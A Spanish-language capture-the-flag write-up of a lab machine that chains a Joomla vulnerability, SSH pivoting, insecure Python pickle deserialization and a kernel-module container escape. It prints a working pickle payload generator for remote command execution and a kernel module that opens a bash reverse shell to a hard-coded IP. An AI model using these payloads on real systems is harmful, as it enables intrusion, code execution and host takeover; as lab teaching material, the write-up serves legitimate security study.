Introduction

Encadena múltiples vulnerabilidades para ganar control completo del sistema.
A veces, en un pentest, obtienes root muy rápido. Pero ¿es root real o un contenedor? El viaje puede seguir.
Getting the Flags
Reconocimiento Inicial
Vamos a comenzar escaneando los puertos abiertos de la máquina.

Ahora escaneamos dichos puertos abiertos más a fondo.

De aquí sacamos varia información, parece que está usando el CMS Joomla y tiene varias rutas en el robots.txt.
Vamos a listar directorios web.

Son muchos más, por lo que voy a poner aquí el tree.
voyage.thm ├── administrator [200 4KB] │ ├── cache [200 31B] │ ├── components [200 819B] │ ├── help [200 454B] │ ├── includes [200 501B] │ ├── logs [200 31B] │ ├── modules [200 704B] │ ├── templates [200 470B] │ └── index.php [200 4KB] ├── api │ ├── components [200 653B] │ └── includes [200 496B] ├── cache [200 31B] ├── cli [200 31B] ├── components [200 31B] ├── images [200 31B] │ └── banners [200 536B] ├── includes [200 31B] ├── layouts [200 31B] │ ├── joomla [200 618B] │ │ ├── content [200 750B] │ │ ├── editors [200 491B] │ │ ├── error [200 31B] │ │ ├── html [200 505B] │ │ ├── system [200 466B] │ │ └── tinymce [200 494B] │ ├── libraries [200 452B] │ │ └── html [200 457B] │ └── plugins [200 476B] │ ├── editors [200 460B] │ │ └── tinymce [200 463B] │ ├── system [200 479B] │ └── user [200 467B] ├── media [200 31B] │ ├── layouts [200 459B] │ │ └── js [200 454B] │ │ └── joomla [200 469B] │ │ └── html [200 460B] │ ├── system [200 530B] │ │ ├── html [200 460B] │ │ ├── images [200 565B] │ │ │ └── favicon.ico [200 2KB] │ │ └── js [200 1KB] │ ├── templates [200 468B] │ │ ├── administrator [200 461B] │ │ └── site [200 458B] │ └── vendor [200 813B] │ ├── accessibility │ │ ├── js [200 512B] │ │ └── LICENSE [200 1KB] │ └── tinymce [200 605B] │ ├── icons │ │ └── default │ │ └── index.js [200 150B] │ ├── plugins [200 905B] │ │ ├── code │ │ │ └── index.js [200 149B] │ │ ├── help [200 533B] │ │ │ └── index.js [200 148B] │ │ ├── image │ │ │ └── index.js [200 153B] │ │ ├── link │ │ │ └── index.js [200 149B] │ │ ├── lists [200 534B] │ │ │ └── index.js [200 152B] │ │ ├── media [200 531B] │ │ │ └── index.js [200 150B] │ │ ├── print │ │ │ └── index.js [200 150B] │ │ ├── save │ │ │ └── index.js [200 150B] │ │ ├── template [200 534B] │ │ │ └── index.js [200 151B] │ │ └── textpattern [200 537B] │ │ └── index.js [200 154B] │ ├── skins │ │ ├── content [200 502B] │ │ └── ui [200 474B] │ ├── templates [200 490B] │ ├── themes [200 473B] │ │ └── mobile │ │ └── index.js [200 148B] │ └── license.txt [200 9KB] ├── modules [200 31B] ├── plugins [200 31B] │ ├── authentication │ │ ├── joomla [200 488B] │ │ │ └── joomla.xml [200 443B] │ │ └── ldap [200 486B] │ ├── content [200 561B] │ │ └── joomla [200 484B] │ │ └── joomla.xml [200 663B] │ ├── editors [200 478B] │ │ └── tinymce [200 513B] │ │ └── src [200 477B] │ ├── privacy │ │ ├── content [200 485B] │ │ └── user [200 483B] │ ├── system [200 727B] │ │ ├── cache [200 505B] │ │ │ ├── services [200 474B] │ │ │ └── src [200 459B] │ │ ├── debug [200 504B] │ │ │ ├── src [200 579B] │ │ │ └── debug.xml [200 1KB] │ │ ├── log [200 480B] │ │ ├── logout [200 484B] │ │ └── stats [200 512B] │ │ ├── layouts [200 507B] │ │ └── src [200 457B] │ └── user [200 500B] │ ├── joomla [200 481B] │ │ └── joomla.xml [200 636B] │ ├── profile │ │ └── src [200 457B] │ └── terms │ └── src [200 456B] ├── templates [200 31B] │ └── index.html [200 31B] ├── tmp [200 31B] ├── htaccess.txt [200 3KB] ├── index.php [200 2KB] ├── LICENSE.txt [200 7KB] ├── README.txt [200 2KB] ├── robots.txt [200 360B] └── web.config.txt [200 877B]
Vamos a ver cómo es la web.

Parece que tiene una parte oculta detrás del login. Vamos primero a mirar los archivos y directorios que ya hemos encontrado.
En los directorios que hemos visto lo único de "valor" parece ser un directorio llamado /administrator/, aunque puede que más adelante /cli/ y /api/ tengan valor.
Profundización
Vamos a buscar la versión de Joomla. Usamos cmseek.

Vamos a mirar si existen vulnerabilidades conocidas.

Parece que sí, vamos a investigar ahora por las versiones de SSH que vimos antes, porque es raro que haya dos, desde luego. No parece que haya vulnerabilidades SSH conocidas. Vamos a ver qué podemos lograr con lo de Joomla.

Explotación
Utilizamos el exploit.

Y acabamos de obtener credenciales e email válidos. Vamos a ver qué podemos hacer por el panel de administración. No nos ha dejado inicial sesión en la propia página, vamos a intentarlo por SSH.

Si aquí miramos el archivo /etc/hosts podemos observar que hay una IP dentro.

Vamos a mapear su red.

Aquí podemos observar una máquina privada: voyage_priv2.joomla-net. Vamos a realizar un túnel SSH de nuestro puerto 5000 al 5000 de la máquina.

Ahora vamos a realizar de nuevo el escaneo pero esta vez desde nuestra máquina, gracias al túnel creado.

Si miramos qué hay en la página:

Si iniciamos sesión podemos ver lo siguiente:

Si listamos directorios encontramos lo siguiente:

Pero si intentamos acceder a dicho directorio nos dice lo siguiente:

Si interceptamos la respuesta y la modificamos, podemos obtener acceso a la consola.
- Interceptamos la petición.

- Interceptamos la respuesta.

- Interceptamos la respuesta.

- Cambiamos el json.

- Lo redireccionamos.

Sin embargo no parece servirnos para nada esta consola.
Si nos fijamos en la cookie ahora:

Parece ser un valor hexadecimal, vamos a Cyberchef a descifrarlo.

Parece algún tipo de serialización, sabiendo que estamos en Python, vamos a preguntarle a la IA qué tipo de serialización es.

Ahora ya sabemos que usa pickle y además en la página se ve reflejado uno de los valores de la cookie serializada (root) sin aparente filtro por lo que vamos a escribir un script para deserializar y otro para serializar.
Script de deserializado:
import pickle import binascii def deserialize_from_hex(hex_data): raw = binascii.unhexlify(hex_data) return pickle.loads(raw) data = "80049526000000000000007d94288c0475736572948c0561646d696e948c07726576656e7565948c05383530303094752e" print(deserialize_from_hex(data))
Script de serializado:
import pickle import binascii class Exploit: def __init__(self, command): self.command = command def __reduce__(self): # Capturamos la salida con .read() y eliminamos el salto de línea con .strip() cmd_str = f"__import__('os').popen('{self.command}').read().strip()" return (eval, (cmd_str,)) def generate_valid_payload(cmd): data = { 'user': Exploit(cmd), 'revenue': '85000' } payload = pickle.dumps(data, protocol=4) return binascii.hexlify(payload).decode() comando = input("Introduce el comando: ") print(f"\nPayload Hexadecimal compatible:\n{generate_valid_payload(comando)}")
Usaremos estos scripts para abusar de una posible deserialización insegura.

Ahora pegamos la cookie en el navegador y refrescamos.

Ahora ya sabemos que podemos mandar comandos, vamos a conseguir una reverse shell.

Nos ponemos en escucha.

Y refrescamos la cookie.

Y así obtenemos la shell y podemos leer la flag.
Escalada de Privilegios
Vamos a seguir nuestra checklist habitual de escalada de privilegios.

Parece que hay varias capabilities activas, vamos a mirar a ver si alguna es crítica.

Este módulo nos permite básicamente cargar módulos de kernel, y el host y el contenedor lo comparten, por lo que es una manera de escapar del contenedor. Primero debemos crear un módulo de kernel que ejecute una reverse shell al inicializarse:
#include <linux/init.h> #include <linux/module.h> #include <linux/kmod.h> MODULE_LICENSE("GPL"); static int shell(void){ char *argv[] ={"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.196.119/9999 0>&1", NULL}; static char *env[] = { "HOME=/", "TERM=linux", "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL }; return call_usermodehelper(argv[0], argv, env, UMH_WAIT_PROC); } static int init_mod(void){ return shell(); } static void exit_mod(void){ return; } module_init(init_mod); module_exit(exit_mod);
Creamos también un Makefile para compilarlo en el objetivo:
obj-m +=shell.o all: make -C /lib/modules/6.8.0-1030-aws/build M=$(PWD) modules clean: make -C /lib/modules/6.8.0-1030-aws/build M=$(PWD) clean
Y ahora usamos make para compilar el módulo como shell.ko.

Comenzamos el listener:

Y ahora instalamos el módulo usando insmod.

Si volvemos al listener:

Ahora buscamos la flag y la leemos.
Conclusión
Una máquina con un inicio de nivel medio pero que se va complicando poco a poco y corona con un método de escape de un contenedor, sin lugar a dudas lo más difícil, y más teniendo en cuenta que hasta este momento es mi primera vez usando una técnica de escape de contenedor.
Yo incluiría estas técnicas antes de pedir resolver la máquina en el curso, no tiene mucho sentido que no sea así.
Gracias especiales a Jaxafed, ya que sin su writeup hubiera sido literalmente imposible para mi conseguir la flag de root.
